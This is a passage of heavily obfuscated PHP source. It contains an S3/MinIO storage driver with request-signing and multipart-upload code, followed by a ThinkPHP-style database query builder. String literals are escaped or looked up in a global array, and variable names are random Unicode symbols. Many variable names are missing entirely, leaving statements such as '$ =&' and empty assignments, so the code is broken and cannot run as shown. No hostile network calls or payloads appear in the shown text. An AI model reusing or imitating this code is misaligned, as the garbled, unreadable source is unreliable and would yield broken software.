$, array($_SERVER[][244] => "\142\x79\164\x65\163\x3d{$̝܄}\x2d{$⠿}")); } public function upload($ܠ, $ɽ, $ޜ֯ = false, $Ԟ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = array($[245] => @md5_file($ɽ)); $ˆȖ = array($[246] => get_file_mime(get_path_ext($ܠ))); if (IO::size($ɽ) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($ɽ, $this->bucket, $ܠ, $[229], $, $ˆȖ); return !empty($) ? $this->getPathOuter($ܠ) : !1; } $ = $this->client->multiUploadObject($ɽ, $this->bucket, trim($ܠ, $[8]), $, $ˆȖ); return $ ? $this->getPathOuter($ܠ) : !1; } public function download($ր, $֘) { if (!@is_dir($this->pathFather($֘)) && !IO::mkdir($this->pathFather($֘))) { return !1; } $ = $this->client->getObject($this->bucket, $ր, array(), $֘); return $ !== !1 ? $֘ : !1; } public function link($ϋ͵, $ = array()) { $϶ =& $_SERVER[]; if ($this->signVer == $϶[247]) { return $this->client->getAuthenticatedURL($this->bucket, $ϋ͵, 3600 * 12, $); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($ϋ͵, $϶[8]), 3600 * 12, $this->region, array(), !0, $); } public function fileOut($쎮, $ = false, $՛̶ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($쎮, $, $՛̶, $); } if (!$՛̶) { $՛̶ = $this->pathThis($쎮); } $Ր = get_file_mime(get_path_ext($՛̶)); if ($Ր == $[248]) { return parent::fileOut($쎮, $, $՛̶, $); } $ = array($[249] => $Ր); if ($) { $[$[250]] = $[251] . rawurlencode($՛̶); } else { } $ѫ = $this->link($쎮, $); $this->fileOutLink($ѫ); } public function fileOutServer($ޏ؃, $ێ = false, $ɸɟ = false, $ξ = '') { parent::fileOut($ޏ؃, $ێ, $ɸɟ, $ξ); } public function fileOutImageServer($, $ț = 250) { parent::fileOutImage($, $ț); } public function hashMd5($Ҿ, $Ǜ = '') { $Կ = $this->objectMeta($Ҿ); if (!$Կ) { return !1; } $Ǜ = $Ǜ ? $Ǜ : _get($Կ, $_SERVER[][252]); return $Ǜ; } public function uploadFormData($, $疀 = 3600) { $۽ =& $_SERVER[]; $ذ = $this->pathFather($); $ѩ = $this->client->getHttpUploadPostParams($this->bucket, $ذ, $۽[229], $疀); return array_merge((array) $ѩ, array($۽[208] => $this->getHost())); } public function multiUploadFormData($é, $ٳ = 3600) { $ =& $_SERVER[]; $ = gmdate($[253]); $ = array(); $׍ = $this->client->getUploadId($this->bucket, $é, $); if (!$׍) { return !1; } return array($[254] => $׍, $[208] => $this->getHost() . $[8] . $this->pathEncode($é), $[255] => $, $[97] => $é); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[]; $ = isset($[$[255]]) ? $[$[255]] : gmdate($[253]); $݆ = isset($[$[169]]) ? $[$[169]] : $[12]; $ = $[$[97]]; unset($[$[97]]); if (isset($[$[256]])) { $[$[255]] = $; return $this->listUploadParts($, $); } $ծ = array($[257], $[12], $[123], $[12], "\x78\55\x61\x6d\x7a\55\144\x61\164\145\72{$}", $[8] . $this->bucket . $[8] . $this->pathEncode($) . $݆); if (strpos($݆, $[258]) === 0) { $ծ[0] = $[259]; } if (isset($[$[260]]) && $[$[260]] == $[261]) { $ծ[0] = $[261]; } $ = implode($[262], $ծ); $ = base64_encode(hash_hmac($[263], $, $this->secret, !0)); $ = $[264] . $this->accessKey . $[4] . $; if (strpos($݆, $[258]) === 0) { return array($[265] => $, $[255] => $); } return $; } public function listUploadParts($, $ = array()) { $؊ =& $_SERVER[]; $ֺ = str_replace($؊[266], $؊[12], $[$؊[169]]); $Ĺ = $this->client->listParts($this->bucket, $, $ֺ); if (!$Ĺ) { return !1; } unset($[$؊[256]], $[$؊[260]]); $[$؊[97]] = $; $ = $this->multiUploadAuthData($, $); if (empty($)) { return !1; } return array($؊[265] => $, $؊[255] => $[$؊[255]], $؊[267] => $Ĺ); } public function getHost() { $ޗ =& $_SERVER[]; $ް = parent::getHost(); if (!isset($this->osType)) { $this->osType = $this->getType(); } if (!in_array($this->osType, array($ޗ[70], $ޗ[64], $ޗ[69], $ޗ[62]))) { return $ް . $ޗ[8] . $this->bucket; } $ް = explode($ޗ[210], $ް); return $ް[0] . $ޗ[210] . $this->bucket . $ޗ[10] . $ް[1]; } public function size($ږȶ) { $¨ۍ = $this->objectMeta($ږȶ); return $¨ۍ ? $¨ۍ[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($օ) { return $this->isFile($օ) || $this->isFolder($օ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($܈) { return $this->cacheMethod($_SERVER[][179], $܈); } protected function objectMeta($ϵ) { return $this->cacheMethod($_SERVER[][181], $ϵ); } protected function _objectMeta($߀) { $ =& $_SERVER[]; $߀ = rtrim($߀, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $߀); if (!isset($[$[252]]) && isset($[$[268]])) { $[$[252]] = $[$[268]]; } } catch (Exception $) { $ = !1; } if (!$) { } return $; } protected function _isFolder($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $, null, 1); if (empty($[$[236]])) { return !1; } $ջ = $[$[236]][0][$[32]]; return stripos($ջ, $ . $[8]) === 0 ? !0 : !1; if (substr($ջ, -1) == $[8]) { return !0; } if (get_path_this($ջ) == get_path_this($)) { return !1; } return !0; } public function listObject($) { return $this->fileList($, $_SERVER[][12], !0); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ꖔ) { $瞑 =& $_SERVER[]; parent::__construct($ꖔ); $this->setSignVersion($瞑[247]); if (!$this->region) { $this->region = $瞑[269]; $this->client->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $Ղ = $this->getBucketRgn(); return $this->region == $Ղ ? !0 : !1; } public function uploadFormData($, $䫷 = 3600) { $ֲ =& $_SERVER[]; $ = $ֲ[229]; $Ϫ = $ֲ[270]; $ = $ֲ[62]; $͹NJ = gmdate($ֲ[271]); $ = gmdate($ֲ[272]); $Ț = $ֲ[273]; $ = $䫷 . $ֲ[12]; $і = $ֲ[274]; $ę = array($this->accessKey, $, $this->region, $, $Ț); $ = implode($ֲ[8], $ę); $ˢ = array($ֲ[275] => gmdate($ֲ[276], strtotime($ֲ[277])), $ֲ[278] => array(array($ֲ[279] => $this->bucket), array($ֲ[280] => $), array($ֲ[281], $ֲ[282], $ֲ[12]), array($ֲ[281], $ֲ[283], $ֲ[12]), array($ֲ[281], $ֲ[284], $ֲ[12]), array($ֲ[285] => $і), array($ֲ[286] => $), array($ֲ[287] => $Ϫ), array($ֲ[288] => $͹NJ), array($ֲ[289] => $))); $ǰ帵 = base64_encode(json_encode($ˢ)); $Ҷ = hash_hmac($ֲ[290], $, $ֲ[291] . $this->secret, !0); $ = hash_hmac($ֲ[290], $this->region, $Ҷ, !0); $ = hash_hmac($ֲ[290], $, $, !0); $ = hash_hmac($ֲ[290], $Ț, $, !0); $﹒ = hash_hmac($ֲ[290], $ǰ帵, $); $ = array($ֲ[246] => $ֲ[12], $ֲ[292] => $ֲ[12], $ֲ[280] => $, $ֲ[285] => $і, $ֲ[293] => $ǰ帵, $ֲ[294] => $, $ֲ[295] => $Ϫ, $ֲ[296] => $͹NJ, $ֲ[297] => $, $ֲ[298] => $﹒, $ֲ[208] => $this->getHost()); return $; } } goto bȠ; bѪ: class DbSqlite3 extends DbSqlite3Base { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $問 = parent::query($); CacheLock::fileUnLock($[13]); return $問; } public function execute($) { $ܦ͞ =& $_SERVER[]; if (!CacheLock::fileLock($ܦ͞[13])) { return !1; } $ˈ = parent::execute($); CacheLock::fileUnLock($ܦ͞[13]); return $ˈ; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\x74\150\x69\x6e\153\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\x71" => "\75", "\x6e\x65\161" => "\x3c\76", "\x67\x74" => "\76", "\x65\147\x74" => "\x3e\75", "\154\164" => "\x3c", "\145\154\164" => "\74\x3d", "\x6e\157\164\154\x69\153\145" => "\116\117\124\40\x4c\111\x4b\105", "\x6c\151\x6b\145" => "\114\111\x4b\x45", "\x69\156" => "\111\116", "\x6e\x6f\164\151\156" => "\116\x4f\124\x20\x49\x4e", "\156\157\164\x20\151\156" => "\x4e\117\124\40\x49\116", "\x62\x65\x74\167\x65\x65\156" => "\x42\x45\x54\x57\105\105\x4e", "\156\157\164\142\145\x74\x77\145\145\156" => "\x4e\117\124\40\x42\x45\x54\127\105\x45\116", "\156\x6f\164\x20\x62\145\x74\x77\x65\145\156" => "\x4e\x4f\x54\x20\102\105\124\127\105\105\x4e"); protected $selectSql = "\x53\x45\x4c\x45\103\124\45\x44\x49\123\x54\x49\116\103\x54\45\40\45\106\111\x45\114\x44\x25\40\106\x52\x4f\115\x20\45\124\101\102\114\105\45\45\112\x4f\x49\116\x25\x25\127\110\x45\x52\105\x25\45\x47\122\x4f\125\120\x25\45\x48\x41\126\x49\116\107\45\45\117\x52\x44\105\x52\45\x25\x4c\111\115\111\124\45\x20\x25\125\x4e\x49\117\x4e\x25\x25\x43\117\x4d\115\105\x4e\124\45"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][1031], $); } public function factory($ό = '') { $Ԏ =& $_SERVER[]; $ό = $this->parseConfig($ό); if (empty($ό[$Ԏ[1032]])) { think_exception(think_lang($Ԏ[1033])); } $this->dbType = ucwords(strtolower($ό[$Ԏ[1032]])); $ċ = $Ԏ[1034] . $this->dbType; if (class_exists($ċ)) { $ = new $ċ($ό); if ($Ԏ[1035] != strtolower($ό[$Ԏ[1032]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($ό[$Ԏ[987]]); } } else { think_exception(think_lang($Ԏ[1036]) . $Ԏ[1037] . $ċ); } return $; } public function __call($, $㊬) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $㊬); } } protected function _getDsnType($) { $ = explode($_SERVER[][4], $); $ϖ = strtoupper(trim($[0])); return $ϖ; } private function parseConfig($ = '') { $ʕ =& $_SERVER[]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($ʕ[1032] => $[$ʕ[1038]], $ʕ[959] => $[$ʕ[1039]], $ʕ[960] => $[$ʕ[1040]], $ʕ[957] => $[$ʕ[1041]], $ʕ[958] => $[$ʕ[1042]], $ʕ[21] => $[$ʕ[1043]], $ʕ[987] => $[$ʕ[1044]], $ʕ[17] => isset($[$ʕ[1045]]) ? $[$ʕ[1045]] : array()); } elseif (empty($)) { if (think_config($ʕ[1046]) && $ʕ[1035] != strtolower(think_config($ʕ[1047]))) { $ = $this->parseDSN(think_config($ʕ[1046])); } else { $ = array($ʕ[1032] => think_config($ʕ[1047]), $ʕ[959] => think_config($ʕ[1048]), $ʕ[960] => think_config($ʕ[1049]), $ʕ[957] => think_config($ʕ[1050]), $ʕ[958] => think_config($ʕ[1051]), $ʕ[21] => think_config($ʕ[323]), $ʕ[987] => think_config($ʕ[1046]), $ʕ[17] => think_config($ʕ[1052])); } } return $; } protected function initConnect($舧 = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($舧); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $Й) { $this->_linkID = $Й; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($煤 = false) { $ȃ =& $_SERVER[]; static $ = array(); static $ꈃƮ = -1; if (empty($)) { foreach ($this->config as $ѳ => $) { $[$ѳ] = explode($ȃ[50], $); } } if (think_config($ȃ[1053])) { if ($煤 || think_config($ȃ[471]) === !0) { $ = floor(mt_rand(0, think_config($ȃ[1054]) - 1)); $ꈃƮ = $; } else { if (is_numeric(think_config($ȃ[1055]))) { $ = think_config($ȃ[1055]); } else { $ = floor(mt_rand(think_config($ȃ[1054]), count($[$ȃ[957]]) - 1)); } } } else { $ = floor(mt_rand(0, count($[$ȃ[957]]) - 1)); $ꈃƮ = $; } $ = $ꈃƮ !== -1 ? $ꈃƮ : $; $ԏ = array($ȃ[959] => isset($[$ȃ[959]][$]) ? $[$ȃ[959]][$] : $[$ȃ[959]][0], $ȃ[960] => isset($[$ȃ[960]][$]) ? $[$ȃ[960]][$] : $[$ȃ[960]][0], $ȃ[957] => isset($[$ȃ[957]][$]) ? $[$ȃ[957]][$] : $[$ȃ[957]][0], $ȃ[958] => isset($[$ȃ[958]][$]) ? $[$ȃ[958]][$] : $[$ȃ[958]][0], $ȃ[21] => isset($[$ȃ[21]][$]) ? $[$ȃ[21]][$] : $[$ȃ[21]][0], $ȃ[987] => isset($[$ȃ[987]][$]) ? $[$ȃ[987]][$] : $[$ȃ[987]][0], $ȃ[17] => isset($[$ȃ[17]][$]) ? $[$ȃ[17]][$] : $[$ȃ[17]][0]); return $this->connect($ԏ, $); } public function parseDSN($) { $ǫ =& $_SERVER[]; if (empty($)) { return !1; } $ = parse_url($); if ($[$ǫ[207]]) { $ף = array($ǫ[1032] => $[$ǫ[207]], $ǫ[959] => isset($[$ǫ[662]]) ? $[$ǫ[662]] : $ǫ[12], $ǫ[960] => isset($[$ǫ[1056]]) ? $[$ǫ[1056]] : $ǫ[12], $ǫ[957] => isset($[$ǫ[208]]) ? $[$ǫ[208]] : $ǫ[12], $ǫ[958] => isset($[$ǫ[209]]) ? $[$ǫ[209]] : $ǫ[12], $ǫ[21] => isset($[$ǫ[87]]) ? substr($[$ǫ[87]], 1) : $ǫ[12]); } else { preg_match($ǫ[1057], trim($), $ہ); $ף = array($ǫ[1032] => $ہ[1], $ǫ[959] => $ہ[2], $ǫ[960] => $ہ[3], $ǫ[957] => $ہ[4], $ǫ[958] => $ہ[5], $ǫ[21] => $ہ[6]); } $ף[$ǫ[987]] = $ǫ[12]; return $ף; } protected function debug() { $ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1058]; if (think_config($[1059])) { think_status($[1060]); think_trace($this->queryStr . $[1061] . think_status($[24], $[1060], 6) . $[1062], $[12], $[1063]); } } protected function parseLock($Ǚ = false) { $ְ =& $_SERVER[]; if (!$Ǚ) { return $ְ[12]; } if ($ְ[989] == $this->dbType) { return $ְ[1064]; } return $ְ[1065]; } protected function parseSet($) { $洹 =& $_SERVER[]; foreach ($ as $㽳 => $ۺ) { if (is_array($ۺ) && $洹[373] == $ۺ[0]) { $΁溟[] = $this->parseKey($㽳) . $洹[506] . $ۺ[1]; } elseif (is_scalar($ۺ) || is_null($ۺ)) { $΁溟[] = $this->parseKey($㽳) . $洹[506] . $this->parseValue($ۺ); } } return $洹[1066] . implode($洹[50], $΁溟); } protected function bindParam($й, $ͽ) { $this->bind[$_SERVER[][4] . $й] = $ͽ; } protected function parseBind($Ï) { $Ï = array_merge($this->bind, $Ï); $this->bind = array(); return $Ï; } function parseKey(&$򭛃, $ͮ = true) { if ($ͮ) { $򭛃 = $this->parseKeyCheck($򭛃); } return $򭛃; } function parseKeyCheck($ǰ) { $ =& $_SERVER[]; $ǰ = trim($ǰ); if (!preg_match($[1067], $ǰ)) { think_exception($[1068] . $ǰ); } return $ǰ; } protected function parseValue($) { $ =& $_SERVER[]; if (is_string($)) { $ = $[1028] . $this->escapeString($) . $[1028]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[373]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1029]), $); } elseif (is_bool($)) { $ = $ ? $[91] : $[228]; } elseif (is_null($)) { $ = $[106]; } return $; } protected function parseField($) { $݇ =& $_SERVER[]; if (is_string($) && strpos($, $݇[50])) { $ = explode($݇[50], $); } if (is_array($)) { $ = array(); foreach ($ as $׫ => $Ѫǰ) { if (!is_numeric($׫)) { $[] = $this->parseKey($׫, !1) . $݇[1069] . $this->parseKey($Ѫǰ); } else { $[] = $this->parseKey($Ѫǰ); } } $Ŷ = implode($݇[50], $); } elseif (is_string($) && !empty($)) { $Ŷ = $; } else { $Ŷ = $݇[220]; } return $Ŷ; } protected function parseTable($Ҳ) { $׸ =& $_SERVER[]; if (is_array($Ҳ)) { $‘ׅ = array(); foreach ($Ҳ as $ђ => $) { if (!is_numeric($ђ)) { $‘ׅ[] = $this->parseKey($ђ) . $׸[53] . $this->parseKey($); } else { $‘ׅ[] = $this->parseKey($ђ); } } $Ҳ = $‘ׅ; } elseif (is_string($Ҳ)) { if (strstr($Ҳ, $׸[53])) { return $Ҳ; } $Ҳ = explode($׸[50], $Ҳ); array_walk($Ҳ, array($this, $׸[977])); } return $׸[971] . trim(implode($׸[1070], $Ҳ), $׸[461]) . $׸[971]; } protected function parseWhere($) { $܈ =& $_SERVER[]; $Ȑ = $܈[12]; if (is_string($)) { $Ȑ = $; } else { $ = isset($[$܈[1071]]) ? strtoupper($[$܈[1071]]) : $܈[12]; if (in_array($, array($܈[1072], $܈[1073], $܈[1074]))) { $ = $܈[53] . $ . $܈[53]; unset($[$܈[1071]]); } else { $ = $܈[1075]; } foreach ($ as $뮡՗ => $ԇ) { $Ȑ .= $܈[354]; if (is_numeric($뮡՗)) { $뮡՗ = $܈[1076]; } if (0 === strpos($뮡՗, $܈[11])) { $Ȑ .= $this->parseThinkWhere($뮡՗, $ԇ); } else { if (!preg_match($܈[1077], trim($뮡՗))) { think_exception(think_lang($܈[1078]) . $܈[4] . $뮡՗); } $҈ = is_array($ԇ) && isset($ԇ[$܈[1079]]); $뮡՗ = trim($뮡՗); if (strpos($뮡՗, $܈[214])) { $Ձ = explode($܈[214], $뮡՗); $Ί = array(); foreach ($Ձ as $ => $ɐ) { $ڸ귇 = $҈ ? $ԇ[$] : $ԇ; $Ί[] = $܈[337] . $this->parseWhereItem($this->parseKey($ɐ), $ڸ귇) . $܈[976]; } $Ȑ .= implode($܈[1080], $Ί); } elseif (strpos($뮡՗, $܈[360])) { $Ձ = explode($܈[360], $뮡՗); $Ί = array(); foreach ($Ձ as $ => $ɐ) { $ڸ귇 = $҈ ? $ԇ[$] : $ԇ; $Ί[] = $܈[337] . $this->parseWhereItem($this->parseKey($ɐ), $ڸ귇) . $܈[976]; } $Ȑ .= implode($܈[1075], $Ί); } else { $Ȑ .= $this->parseWhereItem($this->parseKey($뮡՗), $ԇ); } } $Ȑ .= $܈[355] . $; } $Ȑ = substr($Ȑ, 0, -strlen($)); } return empty($Ȑ) ? $܈[12] : $܈[1081] . $Ȑ; } protected function parseWhereItem($, $Ŀ) { $ =& $_SERVER[]; $ = $Â[12]; if (is_array($Ŀ)) { if (is_string($Ŀ[0])) { $ж = strtolower($Ŀ[0]); if (in_array($Ŀ[0], array($Â[506], $Â[1082], $Â[1083], $Â[1084], $Â[1085], $Â[1086]))) { $ .= $ . $Â[53] . $Ŀ[0] . $Â[53] . $this->parseValue($Ŀ[1]); } elseif (preg_match($Â[1087], $Ŀ[0])) { $ .= $ . $Â[53] . $this->exp[$ж] . $Â[53] . $this->parseValue($Ŀ[1]); } elseif (preg_match($Â[1088], $Ŀ[0])) { if (is_array($Ŀ[1])) { $޸ = isset($Ŀ[2]) ? strtoupper($Ŀ[2]) : $Â[1073]; if (in_array($޸, array($Â[1072], $Â[1073], $Â[1074]))) { $ = array(); foreach ($Ŀ[1] as $) { $[] = $ . $Â[53] . $this->exp[$ж] . $Â[53] . $this->parseValue($); } $ .= $Â[337] . implode($Â[53] . $޸ . $Â[53], $) . $Â[976]; } } else { $ .= $ . $Â[53] . $this->exp[$ж] . $Â[53] . $this->parseValue($Ŀ[1]); } } elseif ($Â[373] == $ж) { $ .= $Â[974] . $ . $Â[53] . $Ŀ[1] . $Â[1089]; } elseif (preg_match($Â[1090], $Ŀ[0])) { $ .= $Ŀ[0]; } elseif (preg_match($Â[1091], $Ŀ[0])) { if (isset($Ŀ[2]) && $Â[373] == $Ŀ[2]) { $ .= $ . $Â[53] . $this->exp[$ж] . $Â[53] . $Ŀ[1]; } else { if (is_string($Ŀ[1])) { $Ŀ[1] = explode($Â[50], $Ŀ[1]); } $¬ = implode($Â[50], $this->parseValue($Ŀ[1])); $ .= $ . $Â[53] . $this->exp[$ж] . $Â[974] . $¬ . $Â[976]; } } elseif (preg_match($Â[1092], $Ŀ[0])) { $亵 = is_string($Ŀ[1]) ? explode($Â[50], $Ŀ[1]) : $Ŀ[1]; $ .= $Â[974] . $ . $Â[53] . $this->exp[$ж] . $Â[53] . $this->parseValue($亵[0]) . $Â[1075] . $this->parseValue($亵[1]) . $Â[355]; } else { think_exception(think_lang($Â[1078]) . $Â[4] . $Ŀ[0]); } } else { $ = count($Ŀ); $ = $Â[12]; if (is_string($Ŀ[$ - 1])) { $ = isset($Ŀ[$ - 1]) ? strtoupper($Ŀ[$ - 1]) : $Â[12]; if (in_array($, array($Â[1072], $Â[1073], $Â[1074]))) { $ = $ - 1; } } else { $ = $Â[1072]; } for ($ = 0; $ < $; $++) { $亵 = is_array($Ŀ[$]) ? $Ŀ[$][1] : $Ŀ[$]; if ($Â[373] == strtolower($Ŀ[$][0])) { $ .= $Â[337] . $ . $Â[53] . $亵 . $Â[1089] . $ . $Â[53]; } else { $ϥݫ = is_array($Ŀ[$]) ? $this->exp[strtolower($Ŀ[$][0])] : $Â[506]; if (!$ϥݫ && is_array($Ŀ[$]) && in_array($Ŀ[$][0], array($Â[506], $Â[1082], $Â[1083], $Â[1084], $Â[1085], $Â[1086]))) { $ϥݫ = $Ŀ[$][0]; } $ .= $Â[337] . $ . $Â[53] . $ϥݫ . $Â[53] . $this->parseValue($亵) . $Â[1089] . $ . $Â[53]; } } $ = substr($, 0, -4); } } else { $ .= $ . $Â[1093] . $this->parseValue($Ŀ); } return $; } protected function parseThinkWhere($ك, $) { $ =& $_SERVER[]; $ = $[12]; switch ($ك) { case $[428]: $ = $; break; case $[1076]: $ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1094]: parse_str($, $); if (isset($[$[1071]])) { $ = $[53] . strtoupper($[$[1071]]) . $[53]; unset($[$[1071]]); } else { $ = $[1075]; } $ = array(); foreach ($ as $푬 => $ͥ) { $[] = $this->parseKey($푬) . $[1093] . $this->parseValue($ͥ); } $ = implode($, $); break; } return $; } protected function parseLimit($) { $ =& $_SERVER[]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($Ũ) { $򪛭 =& $_SERVER[]; $ = $򪛭[12]; if (!empty($Ũ)) { if (is_array($Ũ)) { foreach ($Ũ as $̴ => $Տ) { if (!1 !== stripos($Տ, $򪛭[1095])) { $ .= $򪛭[53] . $Տ; } else { $ .= $򪛭[1096] . $Տ; } } } else { $ .= $򪛭[1096] . $Ũ; } } $ = preg_replace($򪛭[1097], think_config($򪛭[1001]) . $򪛭[1098], $); return $; } protected function parseOrder($ē) { $ =& $_SERVER[]; if (is_array($ē)) { $ښɼ = array(); foreach ($ē as $ => $ب) { if (is_numeric($)) { $ښɼ[] = $this->parseKey($ب); } else { $ب = in_array(strtoupper(trim($ب)), array($[1099], $[1100])) ? $[53] . $ب : $[12]; if (preg_match($[1101], $)) { $ښɼ[] = $this->parseKey($) . $ب; } else { think_exception($[1102] . $); } } } $ē = implode($[50], $ښɼ); } return !empty($ē) ? $[1103] . $ē : $[12]; } protected function parseGroup($瞰) { $ߦŪ =& $_SERVER[]; return !empty($瞰) ? $ߦŪ[1104] . $瞰 : $ߦŪ[12]; } protected function parseHaving($) { $ =& $_SERVER[]; return !empty($) ? $[1105] . $ : $[12]; } protected function parseComment($˲) { $ρք =& $_SERVER[]; return !empty($˲) ? $ρք[1106] . $˲ . $ρք[1107] : $ρք[12]; } protected function parseDistinct($) { $䛐 =& $_SERVER[]; return !empty($) ? $䛐[1108] : $䛐[12]; } protected function parseUnion($⵿) { $ఆ =& $_SERVER[]; if (empty($⵿)) { return $ఆ[12]; } if (isset($⵿[$ఆ[424]])) { $ެ = $ఆ[1109]; unset($⵿[$ఆ[424]]); } else { $ެ = $ఆ[1110]; } foreach ($⵿ as $) { $́[] = $ެ . (is_array($) ? $this->buildSelectSql($) : $); } return implode($ఆ[53], $́); } public function insert($˒, $ア = array(), $ = false) { $ =& $_SERVER[]; $馰 = $ = array(); $this->model = $ア[$[358]]; foreach ($˒ as $ => $) { if (is_array($) && $[373] == $[0]) { $[] = $this->parseKey($); $馰[] = $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($); $馰[] = $this->parseValue($); } } $ݺ = ($ ? $[978] : $[979]) . $[980] . $this->parseTable($ア[$[356]]) . $[974] . implode($[50], $) . $[975] . implode($[50], $馰) . $[976]; $ݺ .= $this->parseLock(isset($ア[$[918]]) ? $ア[$[918]] : !1); $ݺ .= $this->parseComment(!empty($ア[$[430]]) ? $ア[$[430]] : $[12]); return $this->execute($ݺ, $this->parseBind(!empty($ア[$[361]]) ? $ア[$[361]] : array())); } public function selectInsert($, $, $ޥ = array()) { $¸צ =& $_SERVER[]; $this->model = $ޥ[$¸צ[358]]; if (is_string($)) { $ = explode($¸צ[50], $); } array_walk($, array($this, $¸צ[977])); $ = $¸צ[1111] . $this->parseTable($) . $¸צ[974] . implode($¸צ[50], $) . $¸צ[1089]; $ .= $this->buildSelectSql($ޥ); return $this->execute($, $this->parseBind(!empty($ޥ[$¸צ[361]]) ? $ޥ[$¸צ[361]] : array())); } public function update($, $) { $ =& $_SERVER[]; $this->model = $[$[358]]; $ = $[1112] . $this->parseTable($[$[356]]) . $this->parseSet($) . $this->parseWhere(!empty($[$[352]]) ? $[$[352]] : $[12]) . $this->parseOrder(!empty($[$[441]]) ? $[$[441]] : $[12]) . $this->parseLimit(!empty($[$[368]]) ? $[$[368]] : $[12]) . $this->parseLock(isset($[$[918]]) ? $[$[918]] : !1) . $this->parseComment(!empty($[$[430]]) ? $[$[430]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[361]]) ? $[$[361]] : array())); } public function delete($φ = array()) { $ӫ =& $_SERVER[]; $this->model = $φ[$ӫ[358]]; $ = $ӫ[1113] . $this->parseTable($φ[$ӫ[356]]) . $this->parseWhere(!empty($φ[$ӫ[352]]) ? $φ[$ӫ[352]] : $ӫ[12]) . $this->parseOrder(!empty($φ[$ӫ[441]]) ? $φ[$ӫ[441]] : $ӫ[12]) . $this->parseLimit(!empty($φ[$ӫ[368]]) ? $φ[$ӫ[368]] : $ӫ[12]) . $this->parseLock(isset($φ[$ӫ[918]]) ? $φ[$ӫ[918]] : !1) . $this->parseComment(!empty($φ[$ӫ[430]]) ? $φ[$ӫ[430]] : $ӫ[12]); return $this->execute($, $this->parseBind(!empty($φ[$ӫ[361]]) ? $φ[$ӫ[361]] : array())); } public function select($׻Ѻ = array()) { $ž =& $_SERVER[]; $this->model = $׻Ѻ[$ž[358]]; $٧ = $this->buildSelectSql($׻Ѻ); $ = isset($׻Ѻ[$ž[425]]) ? $׻Ѻ[$ž[425]] : !1; if ($) { $ = is_string($[$ž[97]]) ? $[$ž[97]] : $ž[1114] . md5($٧); $ = think_cache($, $ž[12], $); if (!1 !== $) { return $; } } $ = $this->query($٧, $this->parseBind(!empty($׻Ѻ[$ž[361]]) ? $׻Ѻ[$ž[361]] : array())); if ($ && !1 !== $) { think_cache($, $, $); } return $; } public function buildSelectSql($ۣ = array()) { $ =& $_SERVER[]; if (isset($ۣ[$[429]])) { if (strpos($ۣ[$[429]], $[50])) { list($ֲ, $) = explode($[50], $ۣ[$[429]]); } else { $ֲ = $ۣ[$[429]]; } $ֲ = $ֲ ? $ֲ : 1; $ = isset($) ? $ : (is_numeric($ۣ[$[368]]) ? $ۣ[$[368]] : 20); $ = $ * ((int) $ֲ - 1); $ۣ[$[368]] = $ . $[50] . $; } if (think_config($[1115])) { $ = $[1116] . md5(serialize($ۣ)); $ֺ = think_cache($); if ($ֺ) { return $ֺ; } } $ = $this->parseSql($this->selectSql, $ۣ); $ .= $this->parseLock(isset($ۣ[$[918]]) ? $ۣ[$[918]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($͈, $ߚ = array()) { $Ŧփ =& $_SERVER[]; $͈ = str_replace(array($Ŧփ[1117], $Ŧփ[1118], $Ŧփ[1119], $Ŧփ[1120], $Ŧփ[1121], $Ŧփ[1122], $Ŧփ[1123], $Ŧփ[1124], $Ŧփ[1125], $Ŧփ[1126], $Ŧփ[1127]), array($this->parseTable("{$ߚ[$Ŧփ[356]]}"), $this->parseDistinct(isset($ߚ[$Ŧփ[1128]]) ? $ߚ[$Ŧփ[1128]] : !1), $this->parseField(!empty($ߚ[$Ŧփ[350]]) ? $ߚ[$Ŧփ[350]] : $Ŧփ[220]), $this->parseJoin(!empty($ߚ[$Ŧփ[359]]) ? $ߚ[$Ŧփ[359]] : $Ŧփ[12]), $this->parseWhere(!empty($ߚ[$Ŧփ[352]]) ? $ߚ[$Ŧփ[352]] : $Ŧփ[12]), 